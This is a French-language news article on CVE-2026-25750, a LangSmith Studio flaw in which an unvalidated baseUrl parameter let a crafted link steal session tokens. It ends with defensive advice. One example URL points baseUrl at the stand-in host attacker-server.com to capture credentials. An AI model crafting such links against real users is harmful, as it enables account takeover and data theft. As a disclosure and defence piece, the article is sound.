Une vulnérabilité de LangSmith, une plateforme d’observabilité de l’IA largement utilisée, aurait pu permettre à des attaquants de détourner des comptes utilisateurs et d’accéder à des données d’entreprise sensibles transitant par des systèmes de grands modèles de langage (LLM).
Des chercheurs de Miggo Security ont découvert cette faille, qui pouvait permettre le vol de jetons et la prise de contrôle de comptes si un utilisateur connecté visitait une page web malveillante.
La vulnérabilité « … exposait les utilisateurs à un risque de vol de jetons et de prise de contrôle de compte », ont déclaré les chercheurs.
Comment CVE-2026-25750 permet la prise de contrôle d’un compte
LangSmith joue un rôle central dans le développement et l’exploitation modernes de l’IA, en servant de couche d’observabilité aux organisations qui développent et déploient des applications reposant sur de grands modèles de langage (LLM).
La plateforme est largement utilisée pour surveiller le comportement des modèles, résoudre les erreurs et analyser les traces d’exécution générées pendant les workflows d’IA.
En pratique, cela signifie que LangSmith traite d’énormes volumes de données de télémétrie et de débogage tandis que les entreprises perfectionnent et entretiennent leurs systèmes d’IA.
Comme LangSmith se situe à l’intersection de la logique applicative, des outils internes et des pipelines de données d’entreprise, il contient souvent des informations opérationnelles hautement sensibles.
Les journaux de traces peuvent enregistrer en détail la manière dont un système d’IA interagit avec des bases de données, des API et des services internes lors de son exécution.
Selon les recherches de Miggo Security, les attaquants qui auraient réussi à exploiter la vulnérabilité auraient potentiellement pu accéder aux données sensibles intégrées à ces journaux — notamment aux requêtes SQL internes, aux prompts système propriétaires, aux réponses d’API, voire aux dossiers clients.
Pour les organisations qui s’appuient sur LangSmith pour observer leurs workflows LLM, la compromission d’un compte pourrait donc exposer non seulement les journaux de conversation, mais aussi la logique sous-jacente et les flux de données qui alimentent leurs systèmes d’IA.
Comment fonctionne la vulnérabilité de LangSmith
La vulnérabilité, référencée sous le nom de CVE-2026-25750, provenait d’une fonctionnalité de configuration de LangSmith Studio, l’interface de développement de la plateforme.
Studio est conçu pour offrir de la flexibilité aux développeurs qui souhaitent exécuter l’interface localement ou dans des environnements distants tout en conservant l’accès à leur compte cloud authentifié.
Pour prendre en charge cette fonctionnalité, l’application accepte un paramètre baseUrl, qui indique le point de terminaison de l’API backend avec lequel l’interface Studio doit communiquer.
Dans des circonstances normales, ce paramètre permet aux développeurs de rediriger les appels d’API vers différents environnements, comme des systèmes de préproduction ou de développement.
Auparavant, l’application ne validait pas le domaine fourni dans le paramètre baseUrl : le frontend faisait donc confiance à la valeur fournie par l’utilisateur et envoyait des requêtes d’API — y compris les identifiants d’authentification — vers n’importe quelle destination indiquée.
Comment les attaquants pouvaient déclencher l’exploit
Cette absence de validation a permis aux attaquants de créer une URL malveillante conçue pour rediriger les requêtes authentifiées.
Par exemple, un attaquant pouvait générer un lien tel que :
https://smith.langchain.com/studio/?baseUrl=https://attacker-server.com
Si une victime déjà connectée à LangSmith visitait une page web qui déclenchait automatiquement cette URL — au moyen d’un script malveillant ou d’une redirection intégrée — le navigateur chargeait l’interface légitime de LangSmith Studio.
Toutefois, au lieu d’envoyer les requêtes d’API au backend officiel de LangSmith, celles-ci étaient discrètement redirigées vers le serveur contrôlé par l’attaquant.
Comme la victime disposait déjà d’une session authentifiée active, le navigateur incluait les identifiants de session de l’utilisateur dans la requête.
L’attaquant pouvait alors intercepter la requête, récupérer le jeton de session et l’utiliser pour usurper l’identité de la victime.
À quelles données les attaquants pouvaient accéder
Les chercheurs ont indiqué que le jeton de session volé restait valide pendant environ cinq minutes — suffisamment longtemps pour permettre aux attaquants d’accéder au compte de la victime, d’en extraire des données ou d’en modifier les paramètres.
Une exploitation réussie pouvait permettre aux attaquants de voler les prompts système qui définissent le comportement de l’IA d’une organisation, d’exfiltrer les entrées et sorties des outils susceptibles de contenir des données sensibles telles que des informations personnelles, des données de santé ou des données financières, ainsi que de modifier ou supprimer des projets.
Au moment de la publication, rien n’indiquait que la vulnérabilité avait été exploitée dans la nature, et un correctif avait été publié pour résoudre le problème.
Réduire les risques liés aux plateformes de surveillance de l’IA
À mesure que les plateformes d’observabilité de l’IA s’intègrent davantage aux environnements d’entreprise, elles deviennent des cibles attrayantes pour les attaquants.
La vulnérabilité de LangSmith montre comment des défauts de configuration ou de logique métier peuvent exposer les données sensibles qui transitent par les systèmes d’IA.
Les organisations doivent traiter ces plateformes comme des infrastructures critiques et leur appliquer le même niveau d’exigence en matière de sécurité que celui utilisé pour protéger les services cloud et les pipelines de données essentiels.
- Appliquez un correctif aux déploiements LangSmith auto-hébergés afin de garantir que la règle Allowed Origins bloque les requêtes baseUrl malveillantes.
- Surveillez les journaux et l’activité de la plateforme pour repérer les appels d’API inhabituels, les requêtes sortantes inattendues ou les accès anormaux aux données de trace pouvant indiquer une utilisation abusive de jetons.
- Faites tourner les jetons de session, clés d’API et autres identifiants en cas de suspicion de compromission, et imposez des durées de session plus courtes lorsque cela est possible.
- Limitez l’exposition des données sensibles dans les traces d’observabilité de l’IA en assainissant les prompts, les réponses et les sorties des outils avant leur transmission aux systèmes de surveillance.
- Imposez des contrôles d’identité tels que la MFA, SSO et des politiques d’accès selon le principe du moindre privilège pour les plateformes d’observabilité et les outils d’IA.
- Mettez en place des contrôles de sécurité réseau et navigateur — comme le filtrage DNS —, les restrictions du trafic sortant et des politiques de sécurité pour les navigateurs, afin d’empêcher les connexions vers des domaines contrôlés par des attaquants.
- Testez régulièrement les plans de réponse aux incidents, élaborez des procédures concernant l’exploitation des plateformes d’observabilité de l’IA et utilisez des outils de simulation d’attaques.
Ensemble, ces mesures aident les organisations à réduire leur exposition aux risques de prise de contrôle de comptes tout en renforçant leur résilience face aux attaques visant les plateformes d’observabilité de l’IA.
L’infrastructure d’IA élargit la surface d’attaque
La vulnérabilité de LangSmith illustre une évolution plus générale dans la manière dont les organisations doivent appréhender l’infrastructure d’IA.
Les plateformes d’observabilité se trouvent désormais au cœur de nombreux pipelines d’IA et collectent des données de trace susceptibles de contenir des prompts propriétaires, des workflows opérationnels et d’autres informations sensibles de l’entreprise.
Bien que ces outils soient conçus pour améliorer le débogage et la transparence, leur accès aux systèmes internes peut en faire des cibles attrayantes lorsque les contrôles de sécurité sont insuffisants.
Cette dépendance croissante à des plateformes d’IA interconnectées explique notamment pourquoi les organisations se tournent vers des solutions zero trust, qui partent du principe qu’aucun système, aucune application ni aucun utilisateur ne doit être considéré comme fiable par défaut.